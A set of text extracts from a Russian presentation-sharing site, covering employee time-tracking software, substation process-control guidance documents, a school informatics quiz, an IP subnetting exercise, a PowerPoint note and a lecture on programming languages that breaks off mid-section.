title: Скачать презентацию или конспект Программное обеспечение учёта рабочего времени универсального

extracted_text:
Программное обеспечение учёта рабочего времениуниверсального
НПФ “Сигма-ИС”,  2008
Назначение

 Сбор и обработка информации об ОШС организации и
  событий прихода/ухода сотрудников;

 Учёт рабочего времени сотрудников;

 Анализ рабочего времени;

 Формирование отчётов и сводных данных.

Сбор и обработка информации об ОШС и событий прихода/ухода сотрудников
 Ведение организационно-штатной структуры организации
  и импорт её из необходимого источника;

 Получение информации о приходе/уходе сотрудников из
  заданного источника данных и перевод данных в формат
  хранения ПО;

 Сохранение результатов проведения расчётов в БД;

 Создание архивов протоколов событий прихода/ухода
  сотрудников.
Учёт рабочего времени

 Формирование как типовых графиков работы (пятидневка,
  шестидневка), так и сменных, с возможными суточными
  переходами времени;

 Определение сотрудникам рабочих зон, время нахождения
  в пределах которых будет считаться рабочим;

 Подсчёт отработанного времени, и времени, потерянного
  в результате опозданий, прогулов, болезней, досрочных
  уходов с работы;

 Учёт командировок, отпусков, больничных, прогулов
  и других отклонений от графика работы.
Анализ рабочего времени

 Определение эффективности работы сотрудников;

 Анализ трудовой дисциплины;

 Выявление сотрудников, значительно перерабатывающих
  в течении рабочего дня;

 Контроль за соблюдением сотрудниками установленного
  режима рабочего времени.

Формирование отчётов и сводных данных
 Отработанное сотрудниками время по дням необходимого
  периода;

 Командировки сотрудников и отклонения от графиков
  работы (больничные, отпуска, прогулы и т.д);

 Табель отработанного сотрудниками  времени по
  форме Т-13;

 Документирование рабочего времени сотрудников с целью
  формирования доказательной базы, при необходимости
  принятия дисциплинарных и других мер;

 Экспорт данных об отработанном времени в систему
  1С Предприятие для расчётов заработной платы.
Достоинства и преимущества

 Возможность работы как в автономном режиме, так и в
  режиме использования данных подсистем, генерирующих
  персонифицирующие события входа/выхода;

 Режим работы с устройствами считывания биометрических
  данных сотрудников;

 Программное обеспечение обеспечивает возможность
  использования в качестве хранилища данных различные
  типы файловых баз данных и SQL-серверов.

Режимы работы ПО

 Работа в автономном режиме. Отметки о приходе/уходе
  сотрудников выставляются оператором в журнале регист-
  рации прихода/ухода сотрудников;

 Режим работы с данными систем, генерирующими персо-
  нифицированные события входа/выхода сотрудников.
  Работа с системами производится с использованием
  библиотек (драйверов) специализированного формата.
  Импорт из систем ОШС, рабочих зон и их событий;

 Импорт организационно-штатной структуры организации
  из системы 1С Предприятие и экспорт в неё рассчитанных
  табелей отработанного времени.

Работа с биометрическими считывателями

 Использование биометрических данных сотрудников для
  их идентификации, что позволяет исключить возможность
  регистрации путём передачи карточки другому сотруднику;

 Возможность работы с несколькими биометрическими
  считывателями;

 Наличие в составе программного обеспечения синхрони-
  зации биометрических данных сотрудников во всех био-
  метрических считывателях.

     Программное обеспечение поддерживает работу со следующими типами баз данных:

 FireBird Database Server 2.0.1;
 Microsoft Access 2003;
 InterBase SQL Server 7.0;
 Microsoft SQL Server 2000;
 Oracle 9.

     Стандартная поставка ПО предусматривает свободно распространяемый SQL сервер FireBird.
     При наличии у организации другого сервера БД из приведённого выше перечня ПО может быть
использовано для работы с данным сервером, что позволит избежать дополнительных расходов
на покупку сервера БД.
     Для сокращения размеров базы данных программного обеспечения и повышения производитель-
ности при работе с данными в ПО встроены функции создания архивов протоколов.

Поддерживаемые типы баз данных
ПО
УРВ
Конфигурация,
данные для расчётов

Подсистема
хранения
данных

Системы, генерирующие
персонифицированные события
ОШС организации,
Табель отработанного времени
ОШС организации,
 протокол событий
Структура программного обеспечения
БД
ПО
учёта
рабочего
времени
1С Предприятие

Драйвера
(библиотеки)

справочники;
ОШС организации;
рабочие зоны и события;
графики работы;
журнал командировок;
журнал оснований списания;
протокол событий в формате ПО УРВ;
результаты расчётов и табели УРВ.

СКУД
Системы идентификации
по карточкам
Системы видео-
идентификации
Системы идентификации по биометрическим
данным
Последовательность настройки и работы с ПО
Формирование
перечня
праздничных
дней
Формирование
перечня
классификатора
дней по табелю
Создание
или импорт
ОШС
организации
Создание или импорт рабочих зон, настройка или
импорт событий рабочих зон, назначение рабочих
зон сотрудникам организации
Настройка
источника получения
протокола событий
Создание календарей, расписаний перерывов,
рабочих дней (смен), графиков периодичности,
правил составления графиков работы
Создание шаблонов
графиков работы
Назначение графиков
работы сотрудникам
организации
Ввод командировок сотрудников,
а  также других отклонений от
графиков работы
Настройка
параметров проведения
расчётов
Выбор периода
проведения расчётов
Проведение
расчётов
Печать табеля отработанного времени
(экспорт табеля в 1С Предприятие)

Типовые должности
     Под типом должности понимается должность, которая существует в различных сферах как произ-
водственной так и непроизводственной сферы. Тип должности характеризует перечень функциональ-
ных обязанностей, которые должен выполнять работник в течение своего рабочего времени.

Праздничные дни
     Справочник праздничных дней включает в себя перечень всех праздничных дней, характеризуемых
датой праздничного дня и годом его введения и отмены. Использование даты введения и отмены поз-
воляет использовать единственный справочник для всех графиков работы.

Классификатор дней по табелю
     Включает классификатор типов дней элементов стандартного табеля учета рабочего времени,
определяющий явку или неявку (причину неявки) сотрудника для каждого дня рабочего месяца по
ОКУД 0301008 в соответствии с  формой № Т-13, утвержденной постановлением Госкомстата России
от 06.04.01 № 26.

Организационно-штатная структура организации
     Организационно-штатная структура (ОШС) организации представляет собой иерархическое дерево,
содержащее список организаций (при наличии филиалов), подразделений, должностей, сотрудников и
их организационно-штатную принадлежность.
Сотрудники организации
   Справочник включает в себя перечень всех сотрудников организации. Основными характеристиками
являются: Фамилия, Имя, Отчество, Должность (или подразделение/организация, если сотрудник не
назначен на должность), Табельный номер, а также специализированные данные, указываемые в за-
зисимости от используемого драйвера, например, биометрические данные.

Рабочие зоны
     Под рабочей зоной понимается зона, в которой производится продукция, исполняются должност-
ные и служебные обязанности и т.д. Рабочие зоны, в случае их импорта, являются подмножеством зон
доступа СКУД. Каждая рабочая зона характеризуется событием входа и выхода.
Календари
     Календарь описывает рабочие, выходные и праздничные дни в течении года. Он создаётся
на каждый календарный год. Для календарного года может быть создано несколько календарей с
различными характеристиками.
Перерывы рабочих дней (смен)
     Перерыв описывает временной перерыв в течение рабочего дня (смены). Перерывы могут быть
трех типов: фиксированные, плавающие и динамические. Фиксированные перерывы задаются с
указанием времени начала и времени окончания перерыва, например, обеденный перерыв с 12:00 до
13:00. Плавающие перерывы задаются с указанием длительности перерыва в промежутках времени,
в течение которого этот перерыв может быть использован. Динамические перерывы задаются с
указанием длительности перерыва и длительности рабочего времени, после которого этот перерыв
может быть использован.
Рабочие дни (смены)
     Рабочий день описывает характеристики рабочего времени в течение дня (или смены в течение
дня (суток)). Они включают в себя время начала и окончания рабочего дня (смены), перечень переры-
вов, общее рабочее время и допуски на время входа и выхода, признак окончания рабочего дня в
следующих сутках. Каждый рабочий день имеет ссылку на код классификатора дня по табелю учёта
рабочего времени.
Графики периодичности
     График периодичности описывает периодические последовательности рабочих дней (или смен),
например, обычная последовательность – это неделя, где с понедельника по пятницу идут рабочие
дни, а суббота и воскресенье – выходные (с помощью графиков периодичности возможно создание и
более сложных графиков, например «сутки через двое» или «неделя рабочая, неделя выходная» и т.д.).
Правила составления графиков работы
     Правила составления графиков работы предназначено для определения рабочего дня на каждую
конкретную дату. Правило основывается на графике периодичности и дате начала действия правила.
Оно также включает в себя перечень дополнительных переопределений для отдельных фиксированных
дней или рабочих дней.
Шаблоны графиков работы
     Шаблон графика представляет собой типовой график работы. Каждый шаблон создаётся на
определённый год и включает в себя рабочий день по умолчанию. Непосредственно формирование
графика производится в специализированном редакторе, в котором указывается используемое для
формирования графика правило составления и период, на который формируется график.
Назначение графиков работы сотрудникам
     Каждому сотруднику должен быть определён  график его работы. График может указываться либо
непосредственно конкретному сотруднику, либо всему подразделению (организации) в целом. Назначе-
ние графика производится в дереве ОШС. График можно назначить из шаблона или воспользоваться
мастером создания графика работы для создания специфического графика работы.
Журналы
     Программное обеспечение включает в себя перечень журналов, которые входят как в состав основ-
ного модуля ПО, так и вынесены для удобства использования в автономные приложения: журнал ре-
гистрации прихода/ухода сотрудников; журнал контроля посещения; журнал командировок.
Создание командировок
     Создание командировки сотрудника для удобства использования производится как в основном ПО,
так и в отдельном журнале. Командировка включает в себя следующие характеристики:
 Фамилия, Имя и Отчество сотрудника;
 период командировки: дата и время начала, дата и время окончания;
 основание командировки;
 цель командировки;
 примечание;
 форма учёта времени командировки: не учитывается, весь период командировки, учёт времени по
  стандартному рабочему дню сотрудника, по фактически отработанному времени.

Параметры проведения расчётов
     Результаты проведения расчётов рабочего времени зависят от параметров проведения расчётов.
Они должны быть указаны до начала проведения расчётов. Параметры включают в себя:
 признак учёта времени раннего прихода на работу как рабочее время;
 допуск времени на перемещение между рабочими зонами (считается рабочим временем);
 параметры учёта времени в течении перерыва рабочего дня (смены);
 признаки учета времени по окончании рабочего дня;
 интервал выбора событий протокола для рабочего дня (смены);
 код дня по табелю УРВ для командировок.

Результаты расчётов
     Результаты расчётов за период включают в себя: нормативное время по графику работы; отработан-
ное время; время отсутствия на рабочем месте; суммарное время опозданий; количество опозданий;
суммарное время ранних уходов; количество ранних уходов. Результаты расчётов по дням периода
содержат: дату; отработанное время; время прихода/ухода; время опоздания; время раннего ухода;
время сверхурочной работы.
Формирование отчётов
     Программное обеспечение обеспечивает формирование отчётов: по типовым должностям органи-
ции; по отработанному сотрудниками времени за период; по отработанному сотрудниками времени по
дням периода; командировок сотрудников за требуемый период; табеля отработанного времени.
Настройка и порядок работы ПО УРВ с ПО Рубеж-08
     ПО УРВ в стандартной поставке включает драйвер для работы с ПО Рубеж-08. Для работы с данными ПО Рубеж-08
необходимо выполнить следующие действия: настроить БД ПО Рубеж-08; настроить БД протокола ПО Рубеж-08; импор-
тировать ОШС организации, зоны доступа; импортировать события точек доступа в качестве событий входа/выхода
рабочих зон; назначить графики работы и рабочие зоны сотрудникам (подразделениям); произвести расчёт времени.
Настройка БД ПО Рубеж-08
Настройка БД протокола событий
ПО Рубеж-08
Импорт ОШС организации
Импорт зон доступа ПО Рубеж-08
Импорт событий точек доступа ПО Рубеж-08
в качестве событий входа/выхода рабочих зон
Назначение рабочих зон
Назначение графиков работы и проведение расчёта времени


title: Скачать презентацию или конспект Руководящие документы по АСУТП подстанций ЕНЭС

extracted_text:
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»
Направление информационно-технологических и управляющих систем

Руководящие документы
по АСУТП подстанций ЕНЭС
А.М. Гельфанд – заместитель
         генерального директора;
Л.И. Фридман – директор по АСУ
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Состав руководящих документов
по АСУТП подстанций ЕНЭС

ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Комплекс НТД по общим техническим требованиям к АСУТП подстанций ЕНЭС
Общие технические требования к АСУТП подстанций ЕНЭС представляют группу взаимосвязанных и взаимодополняющих НТД, относящихся к различным аспектам создания (модернизации) АСУТП на строящихся,  реконструируемых и действующих подстанциях ЕНЭС.
НТД содержат детализированные общие технические требования:
 к АСУТП в целом,
 структуре и функциям системы,
 основным компонентам (подсистемам, техническим и программным средствам и их комплексам),
 видам обеспечения (техническому, информационному, математическому, программному и др.),
 составу и содержанию работ, выполняемых при создании (реконструкции) системы.
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008
Учитывается специфика создания АСУТП на разных группах ПС:
 вновь строящиеся ПС;
 ПС, на которых осуществляется комплексное техперевооружение и реконструкция основного оборудования;
 частично реконструируемые ПС (например, при вводе новых ЛЭП);
 ПС, на которых модернизируется и расширяется система контроля и управления (в том числе АСУТП).

Для вновь строящихся и комплексно реконструируемых подстанций предусматриваются требования, обеспечивающие в перспективе возможность перехода на режим эксплуатации ПС без постоянного дежурства на ней оперативного персонала, с оперативно-диспетчерским управлением оборудованием ПС из удаленных центров управления.

Комплекс НТД по общим техническим требованиям к АСУТП подстанций ЕНЭС
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Комплекс НТД по общим техническим требованиям к АСУТП подстанций ЕНЭС
Состав комплекса НТД «ОТТ АСУТП ПС ЕНЭС»:
 Состав общих технических требований к АСУТП подстанций ЕНЭС. Термины, определения, основные положения
 Основные требования к структуре и функциям АСУТП
 Основные требования к программно-техническим средствам и комплексам
 Состав и содержание работ, выполняемых при создании (реконструкции) АСУТП
 Типовые требования к АСУТП подстанций в составе закупочной документации
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
	В НТД СТО 56947007-29.240.034-2009 приведены общие требования к номенклатуре различных видов телеинформации (оперативной информации), участвующей в информационном обмене между подстанциями ЕНЭС, центрами управления электрическими сетями и диспетчерскими центрами СО.
	Телеинформация – это информация, передаваемая по выделенным каналам связи с использованием телемеханических протоколов, к времени и условиям передачи которой предъявляются требования, обусловленные ее использованием при оперативно-диспетчерском управлении.
	Регламентируется расширенный объем телеинформации о параметрах режима, состоянии схемы и оборудования ПС – по сравнению с объемом, базирующимся на действующих «Руководящих указаниях по выбору объемов информации, проектированию систем сбора и передачи информации в энергосистемах» (ЭСП, 1991 г.).
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
	Состав телеинформации должен обеспечивать наблюдаемость контролируемой сети в объеме задач оперативно-диспетчерского и оперативно-технологического управления (в соответствии с приказом РАО «ЕЭС России» № 68 от 30.01.2006 г. «Об утверждении целевой организационно-функциональной модели оперативно-диспетчерского управления ЕЭС России» и приказом ФСК № 402 от 21.12.2006 г. «О формировании Центров управления сетями в филиалах ОАО «ФСК ЕЭС» – МЭС»), а также соответствовать Положению об информационном взаимодействии между СО и ФСК в сфере обмена технологической информацией.
	НТД учитывает изменившуюся структуру целевой модели, в частности регламентируют потоки телеинформации, которые должны обеспечиваться в новых условиях для функционирования филиалов СО (РДУ, ОДУ) и центров управления сетями (ЦУС), создаваемых в филиалах ФСК - МЭС, а также в РСК.
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
	Для решения задач СО и ФСК по оперативно-диспетчерскому и оперативно-технологическому управлению расширенный объем ТИ, ТС включает:
 состояния большинства коммутационных аппаратов ПС (выкл., отделителей, разъединителей, заземляющих ножей);
 положения анцапф устройств РПН АТ/Т;
 режимные параметры (I, U, P, Q, f) по присоединениям ПС;
 технологические события - аварийно-предупредительные сигналы по параметрам режима и состоянию оборудования;
 данные регистрации аварийных событий (сигналы запуска, срабатывания устройств РЗА, ПА), ОМП и т.п.;
 неисправности ПТС и средств связи (данные самодиагностики) и др.
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
Номенклатура телеинформации, передаваемой в РДУ, ЦУС МЭС и ЦУС РСК

ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов телеинформации при проектировании систем технологического управления электрическими сетями
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов неоперативной технологической информации, передаваемой с ПС ЕНЭС в ЦУС, а также между центрами управления
В НТД приведены общие требования к объемам неоперативной технологической информации (НТИ) различного вида и назначения, передаваемой с подстанций ЕНЭС в центры управления электрическими сетями (ЦУС), а также между центрами управления.
Рассматриваемая технологическая информация является неоперативной, так как к времени и другим условиям её доставки пользователям не предъявляются «жесткие» нормативные требования, в отличии от оперативной информации (телеинформации).
Руководящие указания совместно с СТО 56947007-29.240.034-2009  заменяют  действующие «Руководящие указания по выбору объемов информации, проектированию систем сбора и передачи информации в энергосистемах («Энергосетьпроект», 1991 г., инв. № 13861тм-т1) в части выбора общего объема передаваемой от подстанций ЕНЭС технологической информации.
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов неоперативной технологической информации, передаваемой с ПС ЕНЭС в ЦУС, а также между центрами управления
Регламентируются следующие виды данных, передаваемых в ЦУС от объектных средств ССПИ и АСУТП и необходимых для решения задач технологического управления:

 текущая информация о режимах и состоянии объектов ЕНЭС,  используемая как неоперативная;
 данные, характеризующие состояние основного оборудования объектов, получаемые от подстанционных средств и подсистем мониторинга;
 данные регистрации аварийных событий и процессов (РАС),  получаемые в том числе от МП устройств РЗА и ПА;
 данные ОМП на линиях электропередачи;
 данные от подсистем контроля качества электроэнергии;
 данные о состоянии инженерных и вспомогательных систем ПС.
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов неоперативной технологической информации, передаваемой с ПС ЕНЭС в ЦУС, а также между центрами управления
РУ базируются на анализе функций МЭС, ЦУС, ПМЭС, а также задач подсистем АСТУ, использующих НТИ в задачах оперативно-диспетчерского управления режимами, оперативно-технологического и производственно-технического управления эксплуатационным обслуживанием и ремонтами сетей ЕНЭС.
Такие подсистемы АСТУ обеспечивают поддержку деятельности персонала различными ресурсами АСТУ, а именно:
средствами автоматизации процедур контроля и управления (например, SCADA-системой и ССПТИ в составе АСУТП ПС);
 средствами информационной поддержки (например, формирования, ведения и доступа к различным БД, средства документирования и т.п.);
 средствами "интеллектуальной" поддержки (например, программными системами для расчетов, моделирования, анализа и т.п.).
ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов неоперативной технологической информации, передаваемой с ПС ЕНЭС в ЦУС, а также между центрами управления
В РУ характеризуются функции служб ЦУС, МЭС, ПМЭС, ФСК, использующих НТИ от подстанций.  Для каждой функции служб указаны подсистемы ЦУС (МЭС), решаемые этими подсистемами задачи, а также охарактеризована необходимая НТИ и указан ее источник –подсистема в составе АСУТП ПС.
Дана классификация передаваемой в ЦУС НТИ по видам (группам), обусловленная спецификой источников данных –подсистем АСУТП ПС. Для каждого выделенного вида НТИ дана укрупненная характеристика состава передаваемых данных.
Для основных подсистем АСУТП, являющихся источниками НТИ, приводятся решаемые задачи, дается характеристика групп НТИ, порождаемой подсистемой, ее состав и указываются источники первичной информации, собираемой средствами подсистемы.

ОАО «Институт «ЭНЕРГОСЕТЬПРОЕКТ»  2008

Руководящие указания по выбору объемов неоперативной технологической информации, передаваемой с ПС ЕНЭС в ЦУС, а также между центрами управления
Для каждой группы данных, приводятся:
 назначение; единица учета;
 оценки частоты появления группы данных;
 требования к времени доставки данных;
 оценки количества (минимального и максимального на единицу учета) информации (для данных РАС, ОМП и др., передаваемых «по событию», - максимально возможных объемов одновременно передаваемой НТИ).

Представлены формулы расчета объема НТИ в зависимости от состава первичного и вторичного оборудования ПС.

Приведен пример оценки количества сигналов и общего объема технологической информации для реального объекта ЕНЭС - ПС 500 кВ «Вешкайма» МЭС Волги.
ОАО «Институт ЭНЕРГОСЕТЬПРОЕКТ»
Спасибо за внимание!
25.11.2016


title: Скачать презентацию или конспект Путешествие в страну информатики

extracted_text:
Путешествие встрану информатики
Автор: Борисова Ольга Викторовна,
   учитель информатики,
МБОУ «Алексеевская СОШ»,
с. Алексеевка,
Благовещенского  района,                                                                                Алтайского края
Станция «Разминка»

Для контроля ваших знаний

Буквы мы печатать станем.

Коль клавиатуру знаешь,

Времени не потеряешь

               Чтоб большую написать,
               Надо нам ………нажать!
               Чтоб малютку получить,
               Надо ………отключить.
			И другой есть вариант.
			Нужен здесь большой талант.
			Букву мы большую пишем.
			Точно делай то, что слышишь:
			……держи, не отпускай,
			И на букву нажимай!

Мы печатать научились,
Очень славно потрудились!
Знания надо закреплять-
Клавиатуру изучать!
Перейти на русский шрифт
Нам помогут…….и ………!
	Написали предложение-
	Ах, как сложно, ох, мучение!
Чуть оплошность допустили-
	И ошибку получили.
	Что же делать нам теперь?
	Нам поможет только….!

	Под ошибку подведи
	Ты курсор и …. нажми.
 	В миг исчезнет буква эта,
	Словно затерялось где-то!
	У Del альтернатива есть.
	Эта клавиша……!
		Символ слева от курсора
		Удаляет вместо сора!

Станция
"Термины"

       1. Потом они торжествовали и радовались, как дети. 2. Он всегда имел запас калькуляторов.    3. В присутствии начальника Потап робел, как ребёнок.    4. Я его привез в указанное место, но там никого не оказалось.      5. По просьбе хозяина квартиры мы шкаф сдвинули в угол. 6. Комментатор сказал: «Забей Сиканов пенальти – он стал бы героем матча» 7. Оказалось, что граф и Казанова – одно и то же лицо. 8. Этот процесс орнитологи называют миграцией.    9. Этот старинный комод ему достался в наследство от бабушки.

Станция
"Ребусы"

л=д
т=к

,,
А
,,,,,,
,,
И Н
К=Т
               Т=К
а

Станция
"Пословицы"

Задание: (2;2) (4;3) (5;2) (1;3) (3;1)

2 задание.
«Опознай пословицу».

Компьютер памятью не испортишь.
Дарёному компьютеру в системный блок не заглядывают.
Бит байт бережёт
За одного хакера семь кандидатов наук дают.
Проводник до файла доведёт

3 задание. «Блок-схема пословиц».

Спасибо
за
игру!


title: Скачать презентацию или конспект IP-адресация

extracted_text:
IP-адресация
ВОПРОСЫ:
1.  Определить, находятся ли два узла A и B в одной подсети или  в  разных  подсетях,  если  адреса  компьютера А  и  компьютера В соответственно  равны: 26.219.123.6  и 26.218.102.31,  маска  подсети
    255.192.0.0.
2.  Определить  количество  и  диапазон IP-адресов  в  подсети, если известны номер подсети и маска подсети.
Для успешного решения задач администрирования необходимо хорошо разбираться в системе IP-адресации. Знание принципов использования масок и  структуризации  сетей  поможет  грамотно  решать  многие  вопросы настройки локальной сети.

Задание 1. Определить, находятся ли два узла A и B в одной подсети или  в  разных  подсетях,  если  адреса  компьютера А  и  компьютера В соответственно  равны: 26.219.123.6  и 26.218.102.31,  маска  подсети  255.192.0.0.
Указания к выполнению
1.  Переведите адреса компьютеров и маску в двоичный вид.
2.  Для  получения  двоичного  представления  номеров  подсетей  обоих узлов  выполните  операцию  логического  умножения AND  над IP-адресом  и маской каждого компьютера.
3.  Двоичный результат переведите в десятичный вид.
4.  Сделайте вывод.
Процесс решения можно записать следующим образом:

Компьютер А:
IP-адрес: 26.219.123.6 =
00011010. 11011011. 01111011. 00000110
Маска подсети: 255.192.0.0 =
11111111. 11000000. 00000000. 00000000

Компьютер В:
IP-адрес: 26.218.102.31 =
00011010. 11011010. 01100110. 00011111
Маска подсети: 255.192.0.0 =
11111111. 11000000. 00000000. 00000000
Получаем номер подсети,  выполняя  операцию AND над IP-адресом и маской подсети.
Компьютер А:
00011010. 11011011. 01111011. 00000110
AND
11111111. 11000000. 00000000. 00000000
   00011010. 11000000. 00000000. 00000000
      26             192              0                 0
Компьютер В:
00011010. 11011010. 01100110. 00011111
AND
11111111. 11000000. 00000000. 00000000
00011010. 11000000. 00000000. 00000000
       26              192           0                   0
Ответ:  номера  подсетей  двух IP-адресов  совпадают,  значит компьютеры А и В находятся в одной подсети. Следовательно, между ними возможно установить прямое соединение без применения шлюзов.

Задание 2.  Определить  количество  и  диапазон IP-адресов  в  подсети,
если известны номер подсети и маска подсети.

Номер подсети – 26.219.128.0,

маска подсети – 255.255.192.0.
Указания к выполнению

1.  Переведите номер и маску подсети в двоичный вид.

Номер подсети: 26.219.128.0 =
 00011010. 11011011. 10000000. 00000000
Маска подсети: 255.255.192.0 =
11111111. 11111111. 11000000. 00000000

2.  По  маске  определите  количество  бит,  предназначенных  для адресации узлов (их значение равно нулю). Обозначим их буквой К.
Общее  количество  адресов  равно 2К

Но  из  этого  числа  следует исключить  комбинации,  состоящие  из  всех  нулей  или  всех  единиц,  так  как данные  адреса  являются  особыми.  Следовательно,  общее  количество  узлов подсети будет равно 2К – 2.

В рассматриваемом примере K = 14 (все нули в маске подсети),
2К – 2 = 16 382 адресов.
4.  Чтобы  найти  диапазон IP-адресов  нужно  найти  начальный  и конечный IP-адреса подсети. Для этого выделите в номере подсети те биты, которые в маске подсети равны единице. Это разряды, отвечающие за номер подсети.  Они  будут  совпадать  для  всех  узлов  данной  подсети,  включая начальный и конечный:
Номер подсети: 26.219.128.0 =
00011010. 11011011. 10000000. 00000000
Маска подсети: 255.255.192.0 =
11111111. 11111111. 11000000. 00000000
_______________________________________
00011010. 11011011. 10000000. 00000000
11111111. 11111111. 11000000. 00000000
5.  Чтобы получить начальный IP-адрес подсети нужно невыделенные биты в номере подсети заполнить нулями, за исключением крайнего правого бита, который должен быть равен единице. Полученный адрес будет первым из допустимых адресов данной подсети:

Начальный адрес: 26.219.128.1 =
00011010. 11011011. 10000000. 00000001
Маска подсети: 255.255.192.0 =
11111111. 11111111. 11000000. 00000000
6.  Чтобы  получить  конечный IP-адрес  подсети  нужно  невыделенные биты  в  номере  подсети  заполнить  единицами,  за  исключением  крайнего правого  бита,  который  должен  быть  равен  нулю.  Полученный  адрес  будет последним из допустимых адресов данной подсети:

Конечный адрес: 26.219.191.254 =
00011010. 11011011. 10111111. 11111110
Маска подсети: 255.255.192.0 =
11111111. 11111111. 11000000. 00000000
_______________________________________
Ответ: Для подсети 26.219.128.0 с маской 255.255.192.0: количество возможных адресов: 16 382, диапазон возможных адресов: 26.219.128.1 – 26.219.191.254.
Самостоятельная работа

Задание 1. Определить, находятся ли два узла A и B в одной подсети или в разных подсетях.

1.  IP-адрес компьютера А: 94.235.16.59;
     IP-адрес компьютера В: 94.235.23.240;
     Маска подсети: 255.255.240.0.
2.  IP-адрес компьютера А: 131.189.15.6;
     IP-адрес компьютера В: 131.173.216.56;
     Маска подсети: 255.248.0.0.
3.  IP-адрес компьютера А: 215.125.159.36;
     IP-адрес компьютера В: 215.125.153.56;
     Маска подсети: 255.255.224.0.
Задание 2. Определить количество и диапазон адресов узлов в подсети, если известны номер подсети и маска подсети.

1.  Номер подсети: 192.168.1.0,
     маска подсети: 255.255.255.0.
2.  Номер подсети: 110.56.0.0,
     маска подсети: 255.248.0.0.
3.  Номер подсети: 88.217.0.0,
     маска подсети: 255.255.128.0.


title: Скачать презентацию или конспект Для чего нужна программа Power Point

extracted_text:
Power Point
How ot use it

С помощью Microsoft Power Point можно не только создавать презентацию; в этой программе есть все необходимые средства и инструменты для усовершенствования слайдов презентации и команды для изменения расположения слайдов.

ИСТОРИЯ
Идея PowerPoint появилась у Боба Гаскинса (Bob Gaskins)
Последняя версия приложения входит в комплект Microsoft Office 2007  и значительно отличается от всех предшествующих

Существует множество версий оформления любой презентации, но в целом весь процесс может быть разбит на 2 составляющие:
			- Создание «тела» презентации
			- Создание эффектов

Powerpoint
Поверпоент это замечательная программа для создания презентаций, в отличии от большинства конкурирующих программ поверпоинт одновременно включает в себя 2 несовместимые вещи – с одной стороны он user friendly, а с другой – обеспечивает все нужды пользователя путём использования сторонних скриптов (в т.ч. ВБА).


title: Скачать презентацию или конспект Языки программирования для описания задач в АСУП

extracted_text:
Лекция №7. Языки программирования  для описания задач в АСУП
7.1. Классификация языков программирования  для АСУП
7.2. Характеристика языков программирования
7.1. КЛАССИФИКАЦИЯ ЯЗЫКОВ ПРОГРАММИРОВАНИЯ В АСУП
Классификация существующих языков программирования в АСУП приведена на рис.7.1
языки высокого уровня
языки высокого уровня (т.е. немашинные языки), которые стали своеобразным связующим мостом между человеком и машинным языком компьютера. Языки высокого уровня работают через трансляционные программы, которые вводят "исходный код" (гибрид английских слов и математических выражений, который считывает машина), и в конечном итоге заставляет компьютер выполнять соответствующие команды, которые даются на машинном языке. Существует два основных вида трансляторов: интерпретаторы, которые сканируют и проверяют исходный код в один шаг, и компиляторы, которые сканируют исходный код для производства текста программы на машинном языке, которая затем выполняется отдельно.
7.1.1. Интерпретаторы
Одно ИЗ преимуществ интерпретаторной реализации состоит в том, что она допускает "непосредственный режим". Непосредственный режим позволяет задавать компьютеру задачу вроде PRINT 3.14159*3/2.1 и возвращает ответ, как только вы нажмете клавишу ENTER (это позволяет использовать компьютер стоимостью 3000 долларов в качестве калькулятора стоимостью 10 долларов). Кроме того, интерпретаторы имеют специальные атрибуты, которые упрощают отладку. Можно, например, прервать обработку интерпретаторной программы, отобразить содержимое определенных переменных, бегло просмотреть программу, а затем продолжить исполнение.

7.1.2. Компиляторы
Компилятор-это транслятор текста на машинный язык, который считывает исходный текст. Он оценивает его в соответствии с синтаксической конструкцией языка и переводит на машинный язык. Компилятор не исполняет программы, он их строит.
Интерпретаторы невозможно отделить от программ, которые ими прогоняются, компиляторы делают свое дело и уходят со сцены.
При работе с компилирующим языком, таким как Турбо-Бейсик, вы придете к необходимости мыслить о ваших программах в признаках двух главных фаз их жизни: периода компилирования и периода прогона.

7.2. Характеристика ЯЗЫКОВ ПРОГРАММИРОВАНИЯ
7.2.1. Машинно – ориентированные языки
 Машинно – ориентированные языки – это языки, наборы операторов и изобразительные средства которых существенно зависят от особенностей ЭВМ (внутреннего языка, структуры памяти и т.д.). Машинно –ориентированные языки позволяют использовать все возможности и особенности машинно – зависимых языков:
- высокое качество создаваемых программ (компактность и скорость  выполнения);
- возможность использования конкретных аппаратных ресурсов;
- предсказуемость объектного кода и заказов памяти;
- для составления эффективных программ необходимо знать систему команд и особенности функционирования данной ЭВМ;
- трудоемкость процесса составления программ ( особенно на машинных языках и ЯСК), плохо защищенного от появления ошибок;
- низкая скорость программирования;
- невозможность непосредственного использования программ, составленных на этих языках, на ЭВМ других типов.
Машинно-ориентированные языки подразде-ляются на классы:
7.2.1.1. Машинный язык (МЯ)
    МЯ предписывают выполнение указываемых операций над определяемыми ими операндами, поэтому МЯ является командным. Однако, некоторые семейства ЭВМ (например, ЕС ЭВМ, IBM/370/ и др.) имеют единый  МЯ для ЭВМ разной мощности. В команде любого из них сообщается информация о местонахождении операндов и типе выполняемой операции.

7.2.1.2. Языки Символического Кодирования
